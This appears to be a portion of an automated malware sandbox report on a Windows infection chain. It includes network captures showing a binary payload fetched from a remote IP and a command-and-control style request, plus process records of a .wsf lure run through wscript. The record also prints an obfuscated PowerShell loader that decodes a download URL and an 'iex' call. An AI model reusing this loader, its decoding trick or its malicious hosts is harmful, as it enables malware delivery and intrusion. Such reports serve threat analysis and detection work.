Apr 25, 2024 08:11:54.359913111 CEST	1289	IN	Data Raw: 35 2b 49 75 7a 2b 54 65 70 78 67 76 33 2b 38 39 42 32 65 2b 62 53 5a 56 44 70 30 6e 5a 37 36 64 4a 32 65 2b 6e 53 64 6e 76 70 30 6e 5a 37 36 64 4a 32 65 2b 6e 53 64 6e 76 70 30 6e 5a 37 74 68 2f 58 35 68 53 4e 5a 6d 4e 63 6f 33 2f 73 6d 4c 33 2f Data Ascii: 5+Iuz+Tepxgv3+89B2e+bSZVDp0nZ76dJ2e+nSdnvp0nZ76dJ2e+nSdnvp0nZ7th/X5hSNZmNco3/smL3/glxKaAKJ0J7NGtZ2K1FS4qn+569saY5D3gS/537tQLZeuk7/mOjR60MprGI51eQ7W7/QF+vj06WJrUPklo1Pl0Suin1BeIoiPhiWY2Zo/2S9GFm8wBSa8qGy6oMjYGeFeunS/72/WcOI6NJ2k7tydHuBQx/jHIDMj
Apr 25, 2024 08:11:54.359980106 CEST	1289	IN	Data Raw: 70 30 6e 5a 37 36 64 4a 32 65 2b 6e 53 64 6e 76 70 30 6e 5a 37 36 64 4a 32 65 2b 6d 54 71 42 42 6e 49 63 66 77 6a 59 48 4e 48 71 52 76 55 50 6f 61 50 46 6a 76 55 31 4f 64 4f 72 33 37 36 76 4c 61 42 4b 6f 56 73 41 39 61 62 6f 57 30 44 4b 4b 51 6e Data Ascii: p0nZ76dJ2e+nSdnvp0nZ76dJ2e+mTqBBnIcfwjYHNHqRvUPoaPFjvU1OdOr376vLaBKoVsA9aboW0DKKQnW70nhoom9Rd1TlvIZV4ZpH2OtkAhMEEmA0guWqJtU3HQ/Y9h99Wm8uHx75O/5zo1esd0BMNaV88lBIYl1gjMOWLrt8gp/sKGtw/H0elePIX6kWBuDXpP/QkP/006AlorwIwbNJ2dG2Kt3vpjU+osVv7W+vSdsIrBB
Apr 25, 2024 08:11:54.360022068 CEST	1289	IN	Data Raw: 6f 33 30 67 58 55 4d 34 69 59 43 38 70 59 6f 65 46 7a 48 59 77 42 50 4d 72 76 39 2b 75 32 6a 75 50 46 7a 66 39 35 45 44 59 63 39 6e 61 44 6a 59 36 52 49 69 49 4f 64 67 4e 48 39 74 64 4f 75 74 41 50 6a 42 32 46 79 62 34 50 54 6f 4a 64 6d 6c 72 4a Data Ascii: o30gXUM4iYC8pYoeFzHYwBPMrv9+u2juPFzf95EDYc9naDjY6RIiIOdgNH9tdOutAPjB2Fyb4PToJdmlrJWas4GlCsPizwiyRwoU2gpt4Vc3KoLipY/rpiWP66chJTNADQCBl+TfYSLzfqi6rcruEYj1qTRZdhDCxDWvKriopYmWzVLTaGjmUqVmqsa3osf72jQD8aMaokkzEW68do6PATQi5ESuZAXu6w6wYjDrgs6mIapvTp1
Apr 25, 2024 08:11:54.360120058 CEST	1289	IN	Data Raw: 58 52 37 36 53 46 35 76 4e 6e 53 64 6e 76 70 30 6e 5a 37 36 64 4a 32 65 2b 6e 53 64 6e 76 70 30 6e 5a 37 36 64 4a 32 65 2b 6e 53 64 6e 76 70 6a 39 43 4e 4a 69 57 75 2b 30 54 34 41 31 34 6f 33 65 36 50 55 49 66 6d 53 68 57 46 79 63 39 45 6b 35 48 Data Ascii: XR76SF5vNnSdnvp0nZ76dJ2e+nSdnvp0nZ76dJ2e+nSdnvpj9CNJiWu+0T4A14o3e6PUIfmShWFyc9Ek5H6Ho+lp8ZTgbktS9r6Bl1LIfZTmeeSeDIqdVuXetBPEP4gqG3/w8l+AEfZNjQQKPeTAE/Z0hj4ERqS4nRD/GQDVzufYk6v6q8ibTcpE/Sztfe4a5IlOXf3ijjGJS1oI1p2JLv3irvlnEhoE6xMtYT/culvps8p44IX
Apr 25, 2024 08:11:54.360187054 CEST	1289	IN	Data Raw: 6e 53 64 6e 76 70 30 6e 5a 37 36 64 4a 32 65 2b 6e 53 64 6e 76 70 30 6e 5a 37 36 64 4a 32 65 2b 6e 53 64 69 65 47 34 49 55 36 4c 39 6b 64 43 57 38 41 34 77 34 38 47 73 58 6e 45 38 70 68 45 77 48 78 6e 6e 2f 70 67 73 36 5a 41 54 4f 6c 54 6a 61 63 Data Ascii: nSdnvp0nZ76dJ2e+nSdnvp0nZ76dJ2e+nSdieG4IU6L9kdCW8A4w48GsXnE8phEwHxnn/pgs6ZATOlTjacr9rcZYWlP+fqQg92/0Pm1TBnbBWunhAsyBzceL2OMPjtauYJ4Pj+QzTVqI438n4UYyBdKi4qUN+8K2ZTh7rOxeb6KIB/wglbb0vHt/tmHxO/FciTYNKjun36wXtJyAc/JTNZt7iRoYluTjN3AU7grcUHxR6rac9t5
Apr 25, 2024 08:11:54.360198021 CEST	1289	IN	Data Raw: 69 64 4c 52 50 75 4a 54 44 58 32 6e 73 59 54 47 33 35 5a 56 38 66 43 41 53 45 52 79 4c 4f 48 31 59 44 79 55 38 35 58 65 54 45 41 64 78 32 53 46 79 70 52 74 57 6d 6e 42 57 6d 43 4a 74 41 43 33 79 4c 6f 58 4a 4f 39 7a 4f 32 66 6f 65 6e 52 75 6d 51 Data Ascii: idLRPuJTDX2nsYTG35ZV8fCASERyLOH1YDyU85XeTEAdx2SFypRtWmnBWmCJtAC3yLoXJO9zO2foenRumQFOByq1e6/oGbG02coDq8gvbTOZsAgJ2Ei4zPgUoRRQxqGeKlBSNGGRspfCpjapa2yr/aKEGME37UD9QrCi9ms7ZCEMatPO6s1HL1+nSdhbmVoDM6dIp8mTodHvpazyZvjH3ivlmEDm/bJUNraf3jXXm8ZpoJD42Kk
Apr 25, 2024 08:11:54.360260010 CEST	1289	IN	Data Raw: 69 46 6d 30 57 32 7a 61 43 6c 68 2b 2b 70 7a 33 78 78 7a 59 39 4f 66 64 4d 68 55 55 4f 33 45 54 5a 75 68 51 59 6e 68 68 68 52 2b 48 47 44 32 53 6e 67 34 34 4b 51 65 32 50 38 41 73 64 43 37 72 52 48 76 70 30 6e 5a 37 36 64 4a 32 65 2b 6e 53 64 6e Data Ascii: iFm0W2zaClh++pz3xxzY9OfdMhUUO3ETZuhQYnhhhR+HGD2Sng44KQe2P8AsdC7rRHvp0nZ76dJ2e+nSdnvp0nZ76dJ2e+nSdnvp0nYl9otDKoDZKOpIuJ6ljnVFyMHQQDTzPifwZMd0e+mFySI3xSf6BjGrh4tTgQ3oyZgodVuVetJPEEISrVu4CPWZQWMKwwaZ2jT3S6bSMdCW0Qseb5l80gbG9pGKfesEhC+6jyfENvblKWQ
Apr 25, 2024 08:11:54.360312939 CEST	1289	IN	Data Raw: 44 6a 30 33 6b 63 6d 39 34 6b 6e 41 53 57 78 75 55 37 2f 6d 2b 6a 43 36 30 49 67 71 48 56 4e 72 2f 35 6d 48 6c 41 36 2b 41 62 32 49 30 69 4d 63 42 66 42 58 54 2b 4b 59 33 36 54 71 6d 71 4b 53 35 6d 50 4a 69 32 54 73 32 51 2f 72 4f 4a 7a 5a 31 4f Data Ascii: Dj03kcm94knASWxuU7/m+jC60IgqHVNr/5mHlA6+Ab2I0iMcBfBXT+KY36TqmqKS5mPJi2Ts2Q/rOJzZ1ONHJaJBCOP75gwsx6xiVpiRR2nc9PPnmejhBZjruFwLFkiVQpSbCNCJDAGiNBNzakXO3IPgQ7ucid3UdcR4WBP9Hrp0ifClzulemgT9YqrLPe6EJlxpmgjxxs0lve6XGhKHbpO/5jg2ev+PqR1UnOvMqc6DIhq5Yy+
Apr 25, 2024 08:11:54.562974930 CEST	1289	IN	Data Raw: 6f 66 6a 6f 45 63 32 46 4f 59 4e 59 45 34 34 50 6f 66 63 76 65 59 48 46 74 6f 37 6a 69 6f 6a 46 4f 61 37 57 33 72 6e 76 38 63 45 35 4f 68 2f 77 34 63 6d 63 70 69 6b 4a 4a 72 77 45 34 36 67 58 35 4a 6b 38 32 78 57 72 64 39 6e 44 47 4d 4a 72 63 45 Data Ascii: ofjoEc2FOYNYE44PofcveYHFto7jiojFOa7W3rnv8cE5Oh/w4cmcpikJJrwE46gX5Jk82xWrd9nDGMJrcEBdS0kiZH+12gcddk031Mx8St8cXmClmVNRigYTarM2BPd3np0s0NK3wr+ho+5SwpU51DqGHL+hpPmcL23bFJD9J2e+nSdnvp0nZ76dJ2e+nSdnvp0nZ76dJ2e+melkAU/Hl7MV52e+nSdnvp0nZ76dJ2e+nSdnvp0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49713	87.121.105.163	80	3292	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
Apr 25, 2024 08:12:30.131567955 CEST	181	OUT	GET /icjFpYDkBweqyeZ252.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: 87.121.105.163 Cache-Control: no-cache
Apr 25, 2024 08:12:30.340151072 CEST	1289	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 06:12:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Fri, 19 Apr 2024 08:34:35 GMT ETag: "43440-6166ef5201cc0" Accept-Ranges: bytes Content-Length: 275520 Content-Type: application/octet-stream Data Raw: 6b 3b b6 5a b0 e3 31 3f 9c 32 93 c5 b1 e7 19 c6 84 ee 9e 9b 24 1d 95 4e b1 a4 1e ab 84 ab 8b 51 6e 1b c5 27 35 fd 0c 10 43 53 ad 29 76 66 28 20 a1 09 c8 17 71 38 f2 90 78 9a 2e 64 b0 c4 f1 53 0c ff f0 f2 0c 29 f2 4e cf 8c 81 4a 0c 71 37 d2 c4 7f 95 80 78 0a fb bb 0b a7 7e af 44 5e d2 77 a9 e4 7b 4c e9 9e 32 c6 31 1d 43 14 e1 cd 4e 19 c2 7a 9c 32 31 ae da e2 4f 4d 2d 67 a4 c5 45 18 73 f8 12 0d 85 b2 fd f0 12 9e af 05 5d 68 b0 e2 53 de b2 e9 a1 6a 2f cb 60 51 d0 2a e8 9f b5 de ff d0 0d 5c e6 0b 94 2a 00 c7 68 9a 5c e6 f5 60 4e b7 23 04 ae 70 05 21 d8 10 70 e6 f3 25 02 e5 84 12 62 9c 54 05 da 79 e4 29 41 e1 26 c6 9e ef 36 ef 46 a7 48 c2 96 a1 96 f2 3d 83 03 16 4b c2 24 cd 60 c0 7c 18 b5 d0 f1 c8 75 c8 8a be 74 6e 85 19 8a c9 92 6e 04 9c 9d 1e da 83 99 38 4c ba 37 81 e7 f3 8f 15 5e 2a e8 2c 26 71 30 fe 3f 69 31 47 d8 5a 73 58 f9 58 18 5f c5 15 0f 01 89 e0 9a 73 02 32 67 52 ae 54 46 98 db 0b ff 91 7e 85 c3 ce f8 d1 7b 00 3e 25 03 3e 42 50 da 1a 40 c4 07 d8 bc 9e 33 52 87 17 7b 88 84 cf c2 d0 11 c2 27 af 2f 38 1d e7 38 66 5c 9b e7 82 62 62 f1 79 32 9d 7b 2d 41 2e 43 db 4d 50 03 e2 bf fc 4e a0 ac 9e 4c 03 f6 c6 87 a1 9a da 0a 7d 4c f6 4f 28 a9 93 ed 8a 5f ab 21 d5 44 28 c9 58 29 5f b0 3c 1d 20 d9 03 c1 7f 45 41 68 12 96 c3 12 3e 21 ac 4c d3 6a cb 98 21 b6 cc 48 0b f1 09 11 0b 37 df 06 4c 74 70 dd 52 87 16 59 68 27 f5 10 cd f2 8c f7 e8 e6 ff 7b cc 5a 4b 7c ee 24 5e 8a 7d 37 75 8e d7 5c 64 81 1f 96 83 91 89 65 7b 52 17 b5 c3 ed 49 90 e2 be eb d6 51 ed c3 bd d7 b6 1b c9 f0 c0 41 39 bb 88 6e 87 ed fa 4a 44 18 5f bf 12 ad 9a 5b ba 35 a7 f1 cc 0d b8 59 d9 e9 d8 0e f8 c7 f7 66 76 a8 6c e7 0c 3d e4 44 82 f2 ad 16 2e 19 ca c6 ed c1 23 2c 73 76 24 a5 97 04 e6 ef d8 fb 46 2f 80 8e 79 68 1b 99 c6 6e 02 2b 7b 0f 25 98 26 46 14 32 c2 c5 5b 0b ee 6f 45 cb 24 36 f2 12 8a 67 b9 88 19 97 95 eb 39 07 09 8f 0e d0 89 fd 97 a7 06 ae 2d a2 c3 53 03 ed 2c eb 1d b2 fd 34 42 50 d3 2e 07 4c a3 b2 fc 03 86 0b 0c 0f 5d f5 ba cd fb 56 30 cb 5f 35 9b 22 70 f4 67 27 66 1c 00 60 96 22 88 31 39 f8 92 f1 68 6e 27 47 b6 71 27 38 ca a4 06 85 cd 92 6c 58 04 34 b2 b3 54 b8 88 bb 77 da 47 76 75 0a 6b 37 69 0f be 12 72 92 85 85 d0 b5 61 06 db 59 ce 41 2d 7c db d3 5b 24 7c 57 14 53 c4 ea 8c 71 cf 07 2d 2f 66 bf 26 9f 3b 81 05 4f fe 12 62 b3 20 79 e3 08 47 46 51 a8 6d 14 3f b3 3b 95 fd 6a 27 ff e7 4b ff 0a 7d 8c 7a f0 54 a8 7b f3 52 8c e0 3b 9b ca e4 cf 3a 0b fa fb ef 6d 99 9d 92 96 37 e8 9a 11 88 d2 ef 35 fc fd bb c9 e5 18 25 67 72 18 b6 99 8a 9f fa 91 e3 08 74 41 e1 f5 5e e4 72 02 88 e7 03 93 93 75 c4 45 06 dc 44 5f 13 12 41 3e 6c 35 d2 5c 06 55 87 dd 69 a1 1a cd 97 29 eb 81 31 63 a2 34 92 4f fa 76 e1 77 6e 2c 18 3c b4 50 ed 7e e2 fb 29 73 00 a7 9a 0f fe 1a 11 37 a9 b0 2d 77 2b 20 b5 85 99 1f 6c 0a 0c 4d c0 ee 62 3f 9f b4 41 b2 40 2c 15 d6 fc 7c ce e1 59 1e e2 d4 c7 01 84 18 38 8c c9 60 1f e0 94 17 8d d7 e9 3b 4b 72 f5 ba 7e ca 3c ad b8 48 a5 de f3 0b db 10 4c 28 a2 69 f8 22 73 2c fe 4d 08 0f 69 76 33 1b d7 1c d6 3f d7 e1 05 39 1f 85 58 5e 1b 54 23 51 67 db 10 e8 d1 31 f1 3a 3d 2c f5 a1 09 f1 59 13 38 84 1f ed f8 3a e1 65 0e 05 3d 5d 55 31 b5 a2 53 8f 37 10 e8 14 7c 2a fb cb 15 f0 aa 76 10 6b de 1f 05 82 6b 1d Data Ascii: k;Z1?2$NQn'5CS)vf( q8x.dS)NJq7x~D^w{L21CNz21OM-gEs]hSj/`Q\h\`N#p!p%bTy)A&6FH=K$`\|utnn8L7^,&q0?i1GZsXX_s2gRTF~{>%>BP@3R{'/88f\bby2{-A.CMPNL}LO(_!D(X)_< EAh>!Lj!H7LtpRYh'{ZK\|$^}7u\de{RIQA9nJD_[5Yfvl=D.#,sv$F/yhn+{%&F2[oE$6g9-S,4BP.L]V0_5"pg'f`"19hn'Gq'8lX4TwGvuk7iraYA-\|[$\|WSq-/f&;Ob yGFQm?;j'K}zT{R;:m75%grtA^ruED_A>l5\Ui)1c4Ovwn,<P~)s7-w+ lMb?A@,\|Y8`;Kr~<HL(i"s,Miv3?9X^T#Qg1:=,Y8:e=]U1S7\|vkk
Apr 25, 2024 08:12:30.340240002 CEST	1289	IN	Data Raw: 6a 67 83 dd a0 ac aa ec 7e 4f 77 61 c0 99 87 da 52 b5 7f ec 3e d9 0b 23 e9 73 18 ea d2 95 5e 0e 07 b7 cc a2 a2 e5 e9 80 95 90 48 93 f9 1e cd 85 2a 74 15 24 37 2f a3 96 b2 15 7b a8 59 73 fa 9f 69 69 ef 8e 0c 2a 5d d0 25 e4 bf dc 6c 79 ff 3f 3b 42 Data Ascii: jg~OwaR>#s^Ht$7/{Ysii]%ly?;Bs\|u>}.7w.d5?<)_:`TEG:(B2w'/Oy\OsJJ6`?py=MnQj~eyI.6sUgjEGK&?0=?$Ve
Apr 25, 2024 08:12:30.340277910 CEST	1289	IN	Data Raw: a2 34 92 4f fa 76 e1 77 6e 2c 18 3c b4 50 ed 7e e2 fb 29 73 00 a7 9a 0f fe 1a 11 37 a9 b0 2d 77 2b 20 b5 85 99 1f 6c 0a 0c 4d c0 ee 62 3f 9f b4 41 b2 40 2c 15 d6 fc 7c ce e1 59 1e e2 d4 c7 01 84 18 38 8c c9 60 1f e0 94 17 8d d7 e9 3b 4b 72 f5 ba Data Ascii: 4Ovwn,<P~)s7-w+ lMb?A@,\|Y8`;Kr~<HL(i"s,Miv3?9X^T#Qg1:=,Y8:e=]U1S7\|vkkjg~OwaR>#s^Ht$7/{Ys
Apr 25, 2024 08:12:30.340321064 CEST	1289	IN	Data Raw: 6c 58 04 34 b2 b3 54 b8 88 bb 77 da 47 76 75 0a 6b 37 69 0f be 12 72 92 85 85 d0 b5 61 06 db 59 ce 41 2d 7c db d3 5b 24 7c 57 14 53 c4 ea 8c 71 cf 07 2d 2f 66 bf 26 9f 3b 81 05 4f fe 12 62 b3 20 79 e3 08 47 46 51 a8 6d 14 3f b3 3b 95 fd 6a 27 ff Data Ascii: lX4TwGvuk7iraYA-\|[$\|WSq-/f&;Ob yGFQm?;j'K}zT{R;:m75%grtA^ruED_A>l5\Ui)1c4Ovwn,<P~)s7-w+ lMb?A@,\|Y
Apr 25, 2024 08:12:30.340441942 CEST	1289	IN	Data Raw: 04 46 d3 ed 7e 58 9b a0 5a 33 b0 21 6d 90 bd e4 66 1b cb 86 72 98 30 f6 db c4 8d 2c 9d 7b 89 dd 40 0f e3 a1 1b bb 09 a7 a5 95 ea 11 4b 3c d7 e5 23 2c 7c f3 a1 a5 97 04 a0 57 8e ae 13 7a 77 60 f2 aa da 71 d9 6d c0 a0 b5 82 21 d8 0d 8e 61 33 84 44 Data Ascii: F~XZ3!mfr0,{@K<#,\|Wzw`qm!a3DoEa*NVogKt[sG1,XR1!(kWXP}kibE-^11AH`1/CicD$8KiGvk7i5r}.,9[$.G"t1l;1
Apr 25, 2024 08:12:30.340459108 CEST	1289	IN	Data Raw: 81 f3 74 eb 36 d1 41 14 90 c9 c6 4e 3c 9b 06 c2 27 d3 f6 52 1f 8d 78 6a d9 77 09 7d 9d 22 0e cc ea 66 94 d2 cc bb 1f 24 b2 af 53 0a 23 ec 4e a0 2f 5a 58 8a 73 d6 7a 5e 65 57 43 7d f4 c9 49 cf ca 64 80 52 9e 51 25 5e 86 e9 21 47 2a 9d 39 79 c5 55 Data Ascii: t6AN<'Rxjw}"f$S#N/ZXsz^eWC}IdRQ%^!G*9yU0D;B{&!" H"VWzZKO'P\Yu%P\|B3N1'=f\m~W\|lh)YC&jJ$J%u:8
Apr 25, 2024 08:12:30.340527058 CEST	1289	IN	Data Raw: 90 b3 e7 8a c5 18 b6 66 2c fa a0 3d 00 3c f0 c2 3c d5 24 4e 74 73 ab 2d 47 bf b1 84 22 ae 8f cf e4 17 aa 1e 23 d8 ff 46 2e 09 67 dc 12 d1 8a e0 78 d7 c3 0b e2 10 99 49 84 e8 38 3a 22 b6 d9 7a 33 a2 f9 1c 7c a1 57 a6 8d 5d 7a 27 70 d7 53 78 c0 a0 Data Ascii: f,=<<$Nts-G"#F.gxI8:"z3\|W]z'pSxh>fa`Ylf]F@nBFm{?=Z?X_JU"<\|F4r>=(~;=G(*uw?k8D0;_;1G`XkKP\25w\-dk$b}L
Apr 25, 2024 08:12:30.340590954 CEST	1289	IN	Data Raw: 23 5b f0 75 d6 3e ad 08 b8 34 cc 27 24 85 40 70 ce 60 a8 52 50 c5 11 fe 32 1d 22 43 f6 e8 79 bd f4 7e 2f 6c 39 67 a1 04 a1 d7 68 0a d2 d9 e6 83 ac fc 8d 5d 9c 99 0f 10 42 cf 32 bd 0f 9e 57 b2 61 9a 0d 7d 58 f1 a2 c1 67 bb db 2e 00 00 02 b1 6e 6d Data Ascii: #[u>4'$@p`RP2"Cy~/l9gh]B2Wa}Xg.nmVEfR0_MC]8--.Od&tkoD(CXr#_AW/3&#ujE}V0s{-1XbJcqG=+ a8u
Apr 25, 2024 08:12:30.340610027 CEST	1289	IN	Data Raw: 94 4d 78 19 02 8d 4e ed 34 1e 65 16 1a 88 7c c1 d9 73 b4 dc 6e 4f b9 5c 8b 8b 01 f6 86 c4 2f 65 05 5e 80 9e c5 e8 e1 69 13 fc d2 de 1c 7c 67 15 0b 9a 51 e6 bc 78 41 ea 36 f0 e9 9a 39 52 aa 0c 64 ad c5 08 ca 52 b4 3f 84 64 f2 75 06 ef 20 cb 0a db Data Ascii: MxN4e\|snO\/e^i\|gQxA69RdR?du z34"G{k%('c(uep-<M?VbYAss.rCQeTj%h70NR8BJ]VTL26W/Ayu_eG\
Apr 25, 2024 08:12:30.340629101 CEST	1289	IN	Data Raw: 2f 0d 0e 07 b7 74 5e a2 e5 e9 03 6d c3 47 dc 3b 57 b8 72 c2 d4 17 24 37 d0 d3 9a 5a 4d 78 a8 59 fa bf 73 ea ad eb 36 00 50 5d d0 bc 67 5d a3 6f bb 3e c7 3c c7 b3 09 52 f4 20 36 38 af 21 b3 2d 2f 17 f9 14 c0 7a fa 19 81 bd 3c 29 c5 11 98 5f 86 3a Data Ascii: /t^mG;Wr$7ZMxYs6P]g]o><R 68!-/z<)_:Etab)(8L/DkRKO6-P;F%1/E$/i9wnIRk&]/pjH~Sbomw8$Vj^m\|-K:scj
Apr 25, 2024 08:12:30.548190117 CEST	1289	IN	Data Raw: b0 2d c8 7e 3e b5 85 aa e9 d6 51 7c 4d c0 29 27 c3 2f b4 41 b2 7d 9c 15 d6 fc 73 82 a4 a5 54 97 20 7f a6 4c 7f e5 7b 26 63 c8 21 6e 12 06 2d 28 d4 54 71 0f cf 95 f9 e7 20 1c 6c a5 de f3 0b 5a e9 37 5c a2 69 85 03 32 94 a8 18 5d 5a 9e 9f b8 d9 16 Data Ascii: -~>Q\|M)'/A}sT L{&c!n-(Tq lZ7\i2]Z<jsnUbdM.ZJ;,% J/G9@@ rZaF8>#G^I/-s$#b@tnK]R;^v!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49716	47.91.88.207	80	6980	C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe

Timestamp	Bytes transferred	Direction	Data
Apr 25, 2024 08:13:14.421787977 CEST	534	OUT	GET /gnbc/?URw=Rnl4c&BP-t5v1=L9JeOsoYfW7LuiHaclFiXmHOc0YYKxwC8gDNcZo86ZNgoJ0Ky4PaH7PNod07P46PC5yTK57EcxKk26T8ts7dcr46kIfYIZ8tiScezyY+sUlmUz9chnLJzCyoHk2LugWc+g== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close Host: www.tyaer.com User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Apr 25, 2024 08:13:14.651923895 CEST	1254	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 25 Apr 2024 06:13:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Trace: 2BDB2AF9C9B8D54202F32671A99FDCE197639D51BFF6A90216397E2A0B00 Set-Cookie: _csrf=f445de3d72f34d31db2cc13c47576b485c838e64d90e6ad097960e119c19ba5ca%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%229Qyd7XXN84-ILww9iXyVDIv5NT3LNNax%22%3B%7D; path=/; HttpOnly Data Raw: 33 31 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 70 61 72 61 6d 22 20 63 6f 6e 74 65 6e 74 3d 22 5f 63 73 72 66 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 35 47 47 43 57 2d 42 6b 74 56 4f 38 6e 37 6c 76 43 4a 34 48 65 72 5f 6f 2d 56 56 2d 70 64 66 55 65 38 31 44 6e 37 43 77 72 6f 62 64 4d 50 73 5f 31 7a 7a 74 48 59 53 72 6c 43 5a 45 36 58 42 44 31 72 43 41 41 7a 72 73 6f 65 45 31 6d 58 44 54 5f 76 37 50 5f 67 3d 3d 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 69 74 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 72 61 70 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 65 72 72 6f 72 22 3e 0a 0a 20 20 20 20 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 68 31 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 64 61 6e 67 65 72 22 3e 0a 20 20 20 20 20 20 20 20 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 54 68 65 20 61 62 6f 76 65 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 20 77 68 69 6c 65 20 74 68 65 20 57 65 62 20 73 65 72 76 65 72 20 77 61 73 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 0a 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 75 73 20 69 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2e 20 54 68 61 6e 6b 20 79 6f 75 2e 0a 20 20 20 20 3c 2f 70 3e 0a 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 31b<!DOCTYPE html><html lang="en-US"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="csrf-param" content="_csrf"> <meta name="csrf-token" content="5GGCW-BktVO8n7lvCJ4Her_o-VV-pdfUe81Dn7CwrobdMPs_1zztHYSrlCZE6XBD1rCAAzrsoeE1mXDT_v7P_g=="> <title>Not Found (#404)</title> <link href="/css/site.css" rel="stylesheet"></head><body><div class="wrap"> <div class="site-error"> <h1>Not Found (#404)</h1> <div class="alert alert-danger"> Page not found. </div> <p> The above error occurred while the Web server was processing your request. </p> <p> Please contact us if you think this is a server error. Thank you. </p></div></div></body></html>0

Target ID:	0
Start time:	08:11:50
Start date:	25/04/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Ordine_doc_419024001904.wsf"
Imagebase:	0x7ff63f1c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:11:51
Start date:	25/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast 